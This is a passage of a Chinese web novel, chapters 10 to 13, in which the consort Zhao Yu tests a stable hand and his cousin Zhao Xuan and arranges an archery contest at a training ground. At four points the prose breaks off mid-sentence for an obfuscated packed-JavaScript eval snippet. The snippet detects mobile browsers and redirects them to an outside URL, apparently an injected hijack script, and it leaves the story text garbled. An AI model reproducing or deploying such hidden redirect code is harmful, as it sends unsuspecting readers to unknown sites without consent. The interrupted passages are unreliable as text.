赵煜年少从军,弓马娴熟,即使登基后亦不曾懈怠,春蒐秋狝,冬狩巡狩,无需武将相让也能在狩猎中拔得头筹。他当然好马,好烈马,更好驯马。此时听着心头难免有些发痒。 从演武场大门到马厩不过二百丈,几步便到。赵煜踏入其中,立刻一股浓烈的草料与皮革交织的气息扑面而来。马厩内宽敞而略显昏暗,一排排马槽沿墙排列,角落堆满了干草。马匹个个鬃毛油亮,或低头啃食草料,或轻声嘶鸣,蹄子偶尔踢打地面,发出清脆声响。 里面几个二三十岁的马夫正为马匹刷毛,见大人们进来,连忙退至一旁。 演武司监和厩长一眼瞥见其中一人,皆是悄悄地松了一口气。演武司监上前一步,略微抬高了嗓门:“李笙,凤君殿下欲选一匹好马,你过来向殿下仔细说明马厩的情况。” 那名叫李笙的马夫闻声走来,躬身拱手行礼:“奴婢参见凤君殿下,司监大人,厩长大人。” 她身形高大,穿着一身灰扑扑的粗布衣裳,样貌毫不起眼,但眼神却沉稳得出奇。赵煜的眉梢微微一动。 李笙随后侧过身,恭敬地让开身位,介绍道:“殿下,马厩中现共有马匹四十八匹,其中战马二十二匹,骑乘马二十匹,驯马六匹。” 她指向最近的几匹胖胖的矮马,说道:“这几匹是河曲马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106858|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,毛色多为栗色或黑色,性情温顺。体型虽小,但耐力极好,适合长时间奔跑。” 赵煜已经知道,这具身体曾在国子监修习,学过专门的骑射术。但此地男子体力是属弱势,骑射教习对他们的要求应该不高。赵煜不清楚这具身体的实际实力如何,不好把自己的身手暴露于人前。 但倒也不必骑小孩儿的马。 赵煜的目光没有上面多停留,随口道了句:“不错。”继续往里走。 李笙会意,随即指向另一侧几匹高大健壮的马匹,说道:“这几匹是关中马,虽然体型高大威猛,但性格却也很是温柔。而且不仅耐力出色,还兼具一定的速度,是日常骑射的佳选。” 几匹马儿见到李笙靠近,亲昵地低头蹭了蹭她的手掌。即使见到赵煜这个生人,尾巴也轻轻甩动着,十分友善。 赵煜估计这具身体平日里驾驭的大概便是这类马匹,虽然兴趣缺缺,但也算是聊胜于无。 但马厩的最深处,几匹与众不同的骏马映入眼帘,个个体态修长,肌肉紧实,眼神中透着一股不羁的野性,紧实的肌肉在皮毛下若隐若现。 其中一匹黑马,更是鬃毛如墨,四蹄生风,不时踏着地面,仿佛随时准备冲破束缚。赵煜眼神一凝,认出这正是李笙之前精心刷毛的那匹。 李笙注意到凤君的眼神落在那匹黑马之上,不动声色地介绍道:“这几匹马都是大宛马,千里挑一的良种,是将军战场上的首选。” 赵煜微地一笑,问她:“这匹黑马叫什么名字?” 李笙没有停顿,说明道:“这匹黑马名叫黑渊,是一匹驯马,刚到马厩时桀骜不驯,后来被陛下所顺服。” 她的语气始终沉稳而恭敬,但赵煜却能从中发觉到一些别的,眉眼轻微一挑。 一个马厩的普通马夫,能叫正五品的演武司监另眼相待,信任亲近,甚至还对皇帝隐隐地有所推崇? 赵煜抿唇一笑,漫不经心道:“就这匹吧。” 10. 试探赵璇 皇帝陛下专用的马,凤君殿下要骑。身份上能不能骑,情分上给不给骑,马术上适不适合骑,一时把马厩里大小的官员都难住了。 李笙顿了一下,语气恭敬而谨慎地禀道:“殿下,这匹马虽然已经被驯服,但终究野性未除,旁人轻易不能靠近。奴婢日日饲马刷毛,尚且时常被它踢伤、咬伤。殿下金尊玉体,没有陛下在身边守护,奴婢不敢将它放出来。” 演武司监也连声附和道:“是,殿下,还是安全为上。” 赵煜本就是试探,现在看来,这个李笙果然是行事得当,进退有度,不像一个待在马厩里的普通人。但这个时候不必要深究,随手指了一匹棕褐色的关中马:“那就它吧。”转身向外走去。 李笙和演武司监本来以为凤君殿下还会逞强,再继续纠缠一番,没想到如此轻易地放弃了。 演武司监不禁松了一口气,吩咐道:“快去给殿下牵马。” 正月底的寒风仍旧刺骨,赵煜任由着教习扶他上马。马稍稍走动一步,没有覆面的地方瞬间被冷风浸透,变得冰凉。 他不在意地甩了甩鞭子,抽了马背一下,马儿立即疾走起来。 两名教习骑着马紧随在他左右两侧,身后还有几个人小跑着跟着。赵煜皱了皱眉,知道叫她们不再跟着反而更叫人战战兢兢,便也没把人驱走。 只是到底不能策马崩腾,赵煜跑了两圈,便也觉得没有什么乐趣。这时演武司监眼尖地瞄到了一个人,忙道:“殿下,赵校尉来了。” 赵煜勒住马缰,顺着演武司监的目光望去。只见身后走来一名女子,身着深青色官服,胸前绣着一对展翅的飞鹰,腰间挂着一枚铜制腰牌。官服略显宽大,衬得身形清瘦,眉眼间与这具身体有几分相似。 赵煜翻身下了马,见赵璇行至他三步之远,却已经右膝跪地,双手抱拳,垂首道:“臣赵璇,参见凤君殿下。” 燕朝的礼节向来简朴,通常作揖行礼便即可,鲜少有人行郑重的大礼,更何况是血缘相近的姐弟。 赵煜眉梢微动,道了句:“不必多礼。” 赵璇恭敬地答道:“谢殿下。”随后起身,动作依旧疏离。 赵煜捏了捏手里的马鞭,见赵璇这副垂首敛目的模样,心中有了推测,随口问道:“今日是赵校尉第一天任职,不知体验如何,是否还习惯?” “臣多谢殿下关心。”赵璇一板一眼地答道,“臣领完衣服,刚看了靶场,听闻殿下到演武场来看我,于是便赶来了,并没有做其他的事情。” 这是嫌弃他来得太早了?赵煜似笑非笑,侧眼瞥了一眼对方。倒没有想到,这具身体和赵璇的关系何止是疏远,简直是素有嫌隙。 不过,赵煜此行是为了探出这具身体在家人面前的性格习惯,目的没有达成,自然不会在意她的口风,反而微微一笑,问道:“看来是我打扰到赵校尉了?” 赵璇微微一怔,似乎没料到赵煜会直白地问出来,语气略显迟疑:“臣不敢。” “不敢啊,那便陪我走走吧。”赵煜微微抬手,示意其他人不必跟着,随后自己率先一步走了出去。赵璇沉默一臾,只能快步跟上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106859|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “巡场校尉的任命刚下来时,陛下就特意让我来看看你,担心你和母亲发生争吵。”赵煜侧脸看了赵璇一眼,“如今看来,情况比想象中还要严峻一些?” 听到“陛下”二字,这下赵璇终于肯抬起了眼睛。 赵煜负手,侧眼看着她道:”“陛下很欣赏你的志向,说年轻正是该出去闯荡,撞撞南墙的时候。南墙虽厚,若能撞破,前面就都是坦途了。” 赵璇的神色多了几分踌躇,道:“多谢陛下的赏识,臣……惭愧。” 听这个语气,这个赵璇竟也是个心里向往皇帝的。赵煜挑了挑眉梢,佯作不知,只是打趣道:“所以是真的吵架了?挨打了吗?” 赵璇听他语气中带着几分松快,竟透出一丝说不出的亲昵,不禁抿了抿唇,略沉了嗓音回道:“回殿下,没有。” “哦?”赵煜道,“那就是演武场有人给你气受了?” 赵璇不懂他为什么一直追问,但这几句调侃下来,赵璇这时脸庞渐渐不再紧绷,没有先前那般僵硬。赵煜若是想要和一个人亲近起来,自然有千种百种的方式。 但赵璇还是摇了摇头,说:“殿下多虑了,臣一切安好。” “既然不是因为和姨母吵架,也不是因为同僚。”赵璇的语气渐渐放松了下来,赵煜却此时忽然拉平了唇角,渐渐隐去了脸上的笑意,静静地问道,“那表姐这无名的火气,是专门冲我来的了?” 赵煜又叫“姨母”又叫“表姐”的,但神态如此语气如此,赵璇立刻单膝跪地,说:“臣不敢。” 11. 轻蔑 寒风瑟瑟,空旷的场地一片寂静。冬日的寒意凝结在空气中,呼出的气息都化作白雾消散。 赵煜不紧不慢地垂眼看赵璇跪了一会儿,等她手指绷得有些发抖,才重新笑了起来:“表姐这是做什么?快起来吧,我和你是姐弟,问一句而已,不必如此惶恐。” 赵璇从不知道赵煜能变脸变得如此顺畅,默了默,开口道:“谢殿下。”神情却不由自主地更紧绷了起来。 赵煜却不在意她的排斥,反而更喜欢,这种把情绪藏在话里脸上的人才最好问话。他微微扬眉,语气中带着一丝淡淡的惋惜:“先前在家时,也没能和表姐多说说话。都是赵家人,反倒显得生分。” 他这句话倒真是只有表面的意思,想要顺势问起这具身体以前和赵璇的相处方式。 但见赵璇绷了绷脸庞,不知道从哪里想起,须臾,赵煜听她却是僵硬地吐出一句:“臣感念陛下和殿下的挂怀。” 又是皇帝。赵煜听到这话,敏锐地察觉到她竟隐隐有将自己与赵家切割开的架势。心中略有些惊讶,但并不吃惊,眼神微微眯起,语气含糊却又意有所指地说道:“表姐应该明白我真正想说的是什么。” 他停下脚步,眼睛和赵璇四目相对。 “……”赵璇被迫一起停住步伐,抬眼对上赵煜意味深长的目光,耳朵听到此话,身体不由得一下子绷直了。但赵煜一直好整以暇地看着她,一副非要等她开口的架势。 赵璇知道自己今天是躲不过去了,半响,终于不再避让,开口道:“殿下,臣不知道您想要说什么,也不必要猜透。臣只知道,臣的职位是陛下亲自授予,不是出自太皇太后,更不是赵家。这一点,殿下想必也该清楚。” 听这话的意思,这个赵璇,倒真的是想做一个皇帝麾下的纯臣? 赵煜一时来了兴趣,终于明白赵婧为何不肯让她出来从武,也确认了她对这具身体的排斥感究竟从何而来。 难不成她以为自己今日前来,是以为她终于向赵家妥协,自己来跟她对暗号的? 而赵璇既然已经将话说出口,也不愿意再藏着掖着。道不同不相为谋,索性早日把事情说清楚,更加直白地道:“臣此次赴任,只是因为真心喜好习武,并非得到了赵家的肯定,身上也并没有什么谋算。臣不过一颗弃子,只能依靠自身,才疏学浅,日后帮不到赵家什么,也帮不到殿下什么。” 赵煜的神情未变,目光落在赵璇脸上。对方此刻正直直地迎向他的视线,没有丝毫的躲闪,一副决心已定的模样。 半响,赵煜的嘴角微微勾起,忽然问道:“表姐,在你心里,我是怎么样的一个人?” 赵璇不知道赵煜为什么突然如此发问,顿了一下,迟疑道:“殿下……自然是一个很好的人。” 赵煜扬了扬唇角,笑意却似有若无:“哦?我还以为你会说,我是一个心机深沉,你并不想接近的人呢。” 赵璇不明所以,只能敛色道:“臣不敢。” 然而赵煜只是静静地看着她,轻轻地摇了摇头,像是在指责她没有说实话。赵璇只好再斟酌了一下,补充了一句:“在臣的心里,殿下虽然沉默寡言,但心中自有成算。” 赵煜得了这一句,就知道在太皇太后面前如何表现了。他移开了目光,转而语气闲适道:“表姐,但你倒是比我印象中要不堪大用得多。” 赵璇一愣,几乎幻视到了前日母亲称她“废物”时候的时候,手指禁不住攥了攥,虽然不明白也并非甘愿,但也只能道:“……臣惶恐。” “你以为我今日来看你,是来做什么的?”赵煜听着声音云淡风轻,眼神却锐利如刃,“你以为我是来拉拢你,想在你身上什么好处?你以为你弃文从武,母亲不肯,仅仅是她想为了给赵家做谋划?” 他突然伸出手,在赵璇的右臂上轻轻一捏,动作快而精准。赵璇还没来得及反应,立刻便觉得手肘一麻,整条胳膊瞬间失去了知觉。 赵煜面上一哂,收回了手:“这就是你的喜欢从武?” 赵璇猝不及防之下被得了手,只觉得脸上顿时变得火辣辣的,话憋在了嗓子眼里。赵煜轻笑一声:“这样的你,值得我拉拢吗?” 赵璇有些难堪,但在尖锐的事实面前,无言以对,只能道:“臣惭愧。”指节却握紧到都有些发白。 赵煜自然不会察觉不到她的情绪,悠悠地一叹,点出:“表姐,你还是不懂。” 诚然,赵璇当然该不懂,当然该不服气。赵煜是当朝的凤君,是一个男子,谁会在与他交谈的时候防备着他突然出手? 何况赵煜实际上征伐战场几载,别说是捏一下麻筋,就是摸上去拧了人的脖子,也大能叫对方死得一声不吭。 而相比起来,赵璇被赵婧困在眼皮子底下,只能努力迎合母亲的心意,不敢也不能光明正大地请师傅学武。赵煜此举,说起来,着实有些欺负人了。 但赵煜要这么说,是他看中了赵璇这个人。准确的说,是赵璇的这个姓和她目前的境遇。 他要培植羽翼纠合势力,赵英赵婧这种老狐狸可不会轻易上当,反而会利用他给赵家做了嫁衣。只有如赵璇这般,既与赵家血脉相连、难以彻底割舍,又暂时游离于赵家势力之外的人,才是最合适拿来利用。 虽不算上大才,但眼下还能顶些用处。性格也浅薄天真,最容易收服不过。 “姨母可能千错万错,但有一点确实不错。”赵煜转过身去,继续迈开步子,漫不经心道,“真心好武,只有真心就足够了吗?但凡私下用过功,不会连个下意识的反应都没有。不过嘴上说说,叶公好龙罢了。” 赵璇被他三言两语轻描淡写地就下了定论,嘴唇死死地抿成了一条直线,一句话都说不出来。这时两人正走到了靶场,放眼过去,无数箭靶立得笔直,靶心的红点在阳光下格外醒目。 赵煜心中有了一个主意,停下脚步,回身看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106860|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵璇的脸色,轻笑着问:“觉得我说错你了?那好。”扬声叫道,“演武司监。” 演武司监几人一直注意着凤君的动向,闻声急忙小跑过来。 赵煜吩咐道:“叫李笙过来。赵校尉初来乍到,想要跟人比试比试身手。” 演武司监几人和赵璇都有些愕然,赵璇抬眼看来,见赵煜挑眉道:“怎么,不服,却又不敢和人比?” 赵璇被他一激再激,到底是年轻气盛的女郎,声音僵硬地回道:“回殿下的话,臣敢。” 厩长闻言立马去叫人,赵煜看向演武司监:“赵校尉这样的好气魄,不该锦衣夜行。那就将无事做的兵将也叫过来,叫她们也看看新校尉的本事。” 赵璇努力维持着脸上的表情,牙关却紧紧地咬住了。演武司监察觉到二人之间微妙的气氛,心中叫苦不迭。一个是尊贵的凤君,一个是赵氏女,若是真闹起来,够所有人都喝一壶的。 但她也不敢表露出来什么:“是,殿下。”急忙抬高了绳子,亲自钻到另一边去喊人了。演武场的士兵听说新来的赵校尉要与人射箭比试,凤君还要亲自下场评判,顿时兴奋起来,纷纷挤了过来。 李笙和厩长险些被人群堵在外头进不来,演武司监扬起马鞭,才轰开了一条小道。 赵煜叫李笙上前一步,与赵璇对面,亲自介绍道:“此人名叫李笙,是马厩里的一个马夫,平日不过给马刷毛喂食,没有什么条件接受训练。赵氏子女都曾在国子监学过骑射,说起来,这项本是赵校尉占优。” 厩长去马厩喊人时急得话都说不清楚,只顾着说什么“李笙,你今天可要出头了”,就把人拽了过来。 李笙这时听出了凤君的意思,眸光微微一闪,但没有表露出来,冲赵璇恭敬抱拳道:“校尉大人。” 赵璇同样抱拳回礼。 赵煜说完,负手而立。演武司监会意,立刻喝道:“肃静!”靶场上的骚动才渐渐平息了下来。 赵煜问:“演武场比试是什么规矩?既要准度,又要兼备力量。” 总教习连忙答了,赵煜颔首:“那就比递远射。” 赵璇和李笙自然不能有意见。 总教习于是面向众士兵,上前一步,朗声道:“此次比试为递远射,共设五靶,距分别为三十步、五十步、八十步、百步及百五十步。参赛者一人射完五靶后,第二人再上。按总分定胜负,靶心得分更高,远靶得分更重。” 说完规则,又看向赵煜,不知道要让谁先来为好。 按照常理论,先行者自然压力更轻。但身为校尉,抢先射箭未免有失风度。 赵璇刚要谦让,赵煜却直接道:“赵校尉先来吧。” 赵璇的动作不由停住。旁人以为是凤君在偏心自家姊妹,但赵璇却知道,他是在隐晦表达对自己的轻蔑和不信任。 赵璇深吸了一口气,努力让自己不去想这些,应声道:“是。”便向弓架走去取弓。 12. 一箭双雕 赵煜叫赵璇先去射箭,当然不只是为了刺激赵璇,更是为了试探一个人。 他侧眼看去,李笙正默不作声地立在一旁,视线落在射道远处的箭靶之上,神情专注,似乎并没有注意到赵煜一瞥过来的目光。 但沉默寡言并不是掩饰本色的好手段。赵煜移开了眼睛,一笑置之。 乌木弓架泛着沉稳的光泽,纹理古朴,架上挂满了各式各样的弓。轻巧的短弓有之,修长的长弓有之,雕花精美的仪仗弓有之,质朴无华的实战弓有之。 赵璇取了一张四斗之弓,又从箭壶中抽出第一支箭,立于射道之上。 三十步至五十步的距离,多用三斗至四斗弓,材质轻便,适合短距离射击;八十步至一百步,则用五斗至六斗弓,材质精良,威力强大。 赵璇微微屈膝,将箭尾轻轻搭在弓弦上,缓缓拉满弓弦,眯起一只眼睛瞄准靶心。 司射高举手臂,表示对方准备开始:“三十步。” 赵璇定住身形。 司射放下手臂:“放!” 随着“铮”的一声清脆的弦响,赵璇松开了右手,箭矢破空而出,在空中划过一道锐利的轨迹,挟着凌厉的风声牢牢地扎在了靶心的正中央。 报靶人高声喊道:“中的!” 三十步的距离,换到梁朝的女子稍微经受训练后都能轻易地命中,此地的女子更难能赢得一句称赞。 但凤君殿下就在旁边,士卒们很给面子地喝起彩起来。 司射再举手臂:“五十步。” 赵璇面色镇静,未见丝毫波澜,再次取箭搭弓,沉住呼吸。司射放下胳膊:“放!”刹那间箭出如风,如疾电穿云,迅捷无比,同样是稳稳地扎入了靶心。 报靶人再喊:“中的!”演武司监赞了句:“赵校尉好身手。” 赵煜没有回应这句,只道:“继续。” 赵璇换了一张六斗之弓,重新回到射道之上,司射道:“八十步。” 赵璇轻轻地屏住呼吸,目光紧紧锁定靶心,重重地拉开长弓,箭矢在弦上微微颤抖。 司射道:“放!” 赵璇不再犹豫,瞬间松开弓弦,箭矢飞掠而出,带着破风之势,在空中划出一道似游龙走蛇的轨迹。 八十步,通常只有经过专门训练的武官和专业的弓箭手,才能稳定地命中靶心。后头人迫不及待地踮脚望去,只听报靶人高喊了一声:“中的!” 还是正中靶心?靶场的士卒不由爆发出一片惊叹,这次的喝彩声中终于带了真情实感。 演武司监这次本由衷要夸赞一句“好箭法”,但想起凤君之前的姿态,又小心地把话咽了回去。转眼却又瞟见凤君虽然面上表情没有一丝波动,但轻微地点了点头。 到底是赵姓的亲姊弟,哪怕闹了矛盾,但总归还是想着对方好的。 到了一百步之距。 司射瞄了一眼赵璇的脸色,这才重新抬起手,这回声音沉了许多,报道:“一百步。” 赵璇深深地吸了一口气,又缓缓吐出去,随后搭箭拉弓。弓弦在她的指间逐渐绷紧,柘木制成的弓背发出细微的“咯吱”声,箭尾紧紧贴在弦上。 百步之箭,整个靶场都情不自禁地放轻了呼吸,时间仿佛都变慢了。不约而同地想着,这次还能射正吗?赵璇嘴唇紧抿,弓拉到极致,额头上俨然已经出了一层薄汗。 司射沉声道:“放。” 赵璇倏地松手,箭矢猛地离弦,呼啸而出,裹挟着破空的锐响,直奔那一百步之远的箭靶,重重地钉在了它的上面。 报靶人确认后高喊道:“中三鹄!” 虽不是直中靶心,但士卒之间却爆发出一阵比之前猛烈百倍的欢呼声,纷纷击节赞叹,眼神中满是钦佩与惊喜,再无当初来看热闹时的隐有轻蔑讥讽的模样。 有人大声喊道:“赵校尉!射中了就是好样的!” 一百步的距离,将军射得红心,但校尉却远不必射得。 赵璇脸上却没有喜色,反而眉宇紧蹙了一下,忍不住用余光瞥了赵煜一眼。 赵煜察觉到她的目光,心中微微满意,面上依旧没有表现出什么。演武司监这时已经看懂了他对赵璇的姐弟知情,凑上来赞叹道:“殿下,赵校尉颇有神箭手的风范啊。” 赵煜轻轻地笑了一声,没有说话。 最后一箭。司射高高举起手臂,忍不住拉长了声音:“——一百五十步。” 百五十步之射,非寻常之力可及。弓力须达七斗以上,方能箭去如流星,贯穿云霄。七斗之弓,非膂力过人者,难以开满。 射道的尽头,百步开外,靶心显得渺小而模糊,仿佛只是远方的一点红。 赵璇取了最后一把强弓,握紧弓身,双臂竭力拉弓。冬日严寒,她的额间却悄然沁满了细密的汗珠。 靶场之内,士卒皆不约而同地屏住了呼吸,连气儿都不敢喘,只眼睛一眨不眨地盯着赵璇的动作,安静得如同被冻结的湖面,只有赵璇拉弓时弓弦微微颤动的声响在空气中轻轻地回荡。 百步开外,相传当年太祖皇帝征战沙场之时,曾于二百步之距的万军之中挽起巨弓,一箭如流星坠地,直贯敌将铁甲。敌军闻风丧胆,无不跪地请降。 赵璇紧紧咬住牙关,浑身的力气都集中在手臂之上,面庞涨得通红,青筋暴起,胳膊止不住地颤抖起来。那张强弓被拉得几近圆满,好似一弯满月,弓弦绷得笔直,与弓身之间勾勒出一个锐利的角度,仿佛随时都会将箭矢弹射出去。 赵煜微微眯起眼睛。司射气沉丹田,喝道:“放!” 赵璇也再不能支撑得住,箭出如矢,呼啸而去,立即就脱力地放下了手,胳膊抑制不住地打着抖。那支箭在空中凛冽却摇摆晃悠地极速射去,在众人急切的凝视之下,擦过靶子的边缘,重重插入了后面红砖的缝隙之间。 报靶人报道:“脱靶。” 赵璇连攥拳的力气都不再有,只用最后一丝力量握住了手中的弓,不让它从手中滑落。没有射中,士卒虽然有些失望,但此等技艺之下,很快都扬声称道了起来:“赵校尉已经很了不得了!多少人都做不到的事,老马,你年轻的时候能吗?” 这个老马叫的便是演武司监,她不在意手底老兵的打趣起哄,故作谦虚地嘿嘿一笑:“二十多岁的时候,饶幸射过几回四鹄。” 她虽平日为官谨慎,甚至有些谄媚,但非常惜才,此时看向赵璇的眼神不由多了几分青睐赞赏:“赵校尉今年不过十九岁,就已经如此神武,实在是未来可期啊。” 赵璇的脸上还是难以露出笑容,只谢道:“大人谬赞了。”回身想去弓架还弓,整个过程间不曾侧目看赵煜一眼,脖颈绷得僵直。 但当她与赵煜要擦肩而过之时,忽闻对方语气中带着一丝笑意,说了一句:“不错。” 赵璇错愕地抬起眼,身形停住,一时怀疑自己是不是听错了。但赵煜已经移开了目光,道:“李笙,轮到你了。” 李笙应声出列,赵璇半天才回过神来,勉强按下心中的波澜,抬脚刚要继续走向弓架,却听赵煜又开口道:“不必还了,就把这把弓给李笙吧。” 两人俱是一愣,李笙手指一动,面上凝出惊诧和犹豫的神色。 “时候不早了,再从三十步比起,未免有些太浪费时间了。”赵煜微微地一笑,和李笙对视,“你是马司监看中的人才,不至于在八十步上出什么差错,便直接试试百步的靶子吧。” 李笙心中沉了沉,对上赵煜似有含意的眼神,呼吸不由微微滞了一下。 她不知道,别说赵煜的确是从她的眼神神态、动作细节和他人反应之中看出了什么,就算赵煜确实是自己多疑了,试探错了,但即便如此,还能对自己有什么坏处吗? 总归不会有任何损失罢了。 演武司监见李笙迟迟不答应,还以为她是在担心自己会抢了赵校尉的风头。虽奇怪凤君为何会知道李笙是百步穿杨的高手,还特意叫她来折赵璇的面子,但机会实在难得,若能讨了当权者的欢心,一步登天也非痴人说梦,何况李笙情况特殊。 赵校尉虽然是下属,以后也必定依靠赵家大有作为,但与凤君殿下和李笙相比,终究得往后靠靠。 演武司监忙道:“李笙,还不听从殿下的命令?”快步走到她身边,又压低了声音,快速道,“这大好的机会,你可千万打起精神,不要藏锋,我知道你是能成事的。” 赵煜笑吟吟地看着她们的动作,神色如常。 李笙知道自己再避下去,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106861|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而更令人怀疑,接过赵璇手中的弓,道:“谢校尉大人。”走到百步靶子的那列射道站定。 赵煜的视线在靶场内掠过一圈,见演武司监和厩长的情绪都是紧张期待兼之兴奋,而绝大多数士兵都是满脸的纳闷和不解,奇怪这个李笙是从哪里冒出来的。 李笙手握着那张七斗之弓,举弓拉弦。她虽然没有拉至满月,但动作流畅自如,比赵璇轻松许多,只胳膊上的肌肉微微绷起,透过麻衣勾勒出隐约的轮廓。 司射见她准备妥当,呵道:“放!” 箭矢立即飞驰而去,百步一靶,一举直中红心! 靶场顿时一片哗然,报靶人也面带震惊,喊道:“中的!”士兵纷纷左右问起:“这个李笙是谁?一个马夫?”皆是一副不敢置信的模样。 她们之中多少人,虽然天天巡逻训练,但百步之遥能够射中就已是志得意满,怎么会想得到一个马夫一箭就精准地命中靶心?连试箭都不曾有过。 赵璇的呼吸不由稍稍急促起来,赵煜负手而立,纹丝不动。演武司监难掩喜色,上前说道:“殿下,李笙真是有大将之才啊!” 做将军可不仅仅要靠箭术好。赵煜微笑道:“确实好本事,百步也能中鹄。”又状似随口问起,“李笙百五十步如何,马司监是否看过?” 演武司监连忙道:“十射九中,绝不夸张!” “是吗?”赵煜眉梢微地一挑,面上顿觉奇怪道,“这样的人才,怎么只做了一个马夫呢?” “这……”演武司监不由露出一副欲言又止的表情。 李笙自然能听到两人的对话,面色没有多大的变化,只呼吸沉了一瞬。司射又举起了手:“一百五十步!” 见演武司监没能回答,赵煜但笑不语,目光重新回到了射道上。演武司监就顺势躲开了这个问题,擦了擦汗,这下不敢再多说什么了。 一百五十步,十射九中。李笙敛眉肃立,神情专注,一手稳稳握住弓身,一手缓缓用力拉弦。弓身在大力下渐渐弯曲,发出低沉的“嘎吱”声。 她虽然也呼吸沉重,牙关紧咬,同样是竭尽全力,但远不似赵璇那般大汗淋漓。 司射喊“放”声音一出,李笙手掌一松,弓弦瞬间松开,箭矢呼啸而出疾驰而去,直直地射在了箭靶之上。 报靶人高声喊道:“中三鹄!” 靶场静了一臾,士卒才从目瞪口呆中恢复过来,一时间惊叹欢呼声四起,议论声不绝于耳,嘈杂一片。演武司监不敢再招赵煜的眼,尽管表面亢奋,但眼底深藏着一股隐隐的忧虑。 赵璇不自觉地攥起了拳头,赵煜微笑地说道:“赵校尉,是你输了。” 赵璇双唇紧绷,后牙微咬,只能道:“是,臣输了。” 败者虽然不甘心,可获胜者和她的阵营也不见多少喜色。李笙面色平静,抱拳拱手:“校尉大人,承让了。” 赵璇自己技不如人,自然没有话说:“承让。”只等着听赵煜要怎么奚落她。一个长在大家族的人,却比不上一个条件困难的马厩马夫。 赵煜是要刺激赵璇,可到底怎么刺激,必须要用对方法,不然培养不出手下,反而只能养出一个仇人。再看李笙和演武司监背后的表情,便知道这两个人也被他的话问住了,内心不知道生出了多少警惕。 既然已经试出来了,赵煜就不再步步紧逼,转口道:“不过李笙虽然只是个马夫,但身处军营,耳濡目染之下,难免学到真才实能。”轻巧地就把这一茬揭过。 几人只能称是。 不过,叫李笙打的脸,怎么能算作打脸呢?赵煜侧脸看向赵璇,含笑问道:“赵校尉,你以为我的箭术如何?” 赵璇怔了怔,不知道究竟,只好忆道:“国子监时,殿下的箭术数一数二。” 知道这具身体入宫带着骑射的装备,必定是喜爱骑射术的,但倒没有想到能在国子监中数一数二。赵煜挑了挑眉,又问:“那比起你来如何呢?” 赵璇更加不明白赵煜的意思,只好迟疑了一下,道:“臣并没有亲眼见过殿下的箭术,只知道殿下的排名。”况且男子和女子之间,本来就不好比较。 “没看过啊。”赵煜略略点头,脸上带笑,不知道想起了什么,忽然朗声道:“好,拿弓来。” 13. 射箭 几人皆是一愣,还没反应过来——凤君这是要亲自下场射箭? 士兵们顿时齐声“喔——”的山呼起来,靶场瞬间像炸开了锅。虽说本朝男女大防并不严峻,平日巡逻时也时常能见到一些公子贵夫,但凤君是怎样的身份,能隔着栅栏与他共赏一场射箭已是难得的荣幸,又怎么敢奢望殿下亲自比试? 演武司监暗骂这群兵痞胆大包天,胆敢起凤君的哄,但不能忤凤君的意思,忙叫武弁:“去取那张锦缎缠丝雕花弓来,给殿下使用。” 梁朝时期倒也有锦缎缠丝雕花弓这种的弓,其弓身以锦缎包裹,缠有金银丝线,装饰华丽,因此而得名。不过此弓虽然模样好看,但拉力只有二三斗,给女子和小孩娱乐可以,用不到实战上面。 赵煜不满十岁便不再使用雕花弓,这具身体哪怕不如他在梁朝的,但也不至于羸弱到这种地步,随意道:“我力气不大,拿张六斗之弓足矣。” 六斗的弓,这……演武司监张嘴想劝。六斗劲弓成年女人尚且吃力,勉强拉开也只会损伤筋骨,于关节不利。 要真伤到了凤君的身体,太皇太后生气,哄闹的士兵不过罚俸体罚,她们这群官员恐怕是要连降三级了。 赵煜瞥她一眼,看出她的心中所想,轻笑道:“怕什么?就算我强拉不开,换一张便是,难道还怕我射到你们头上去吗?” 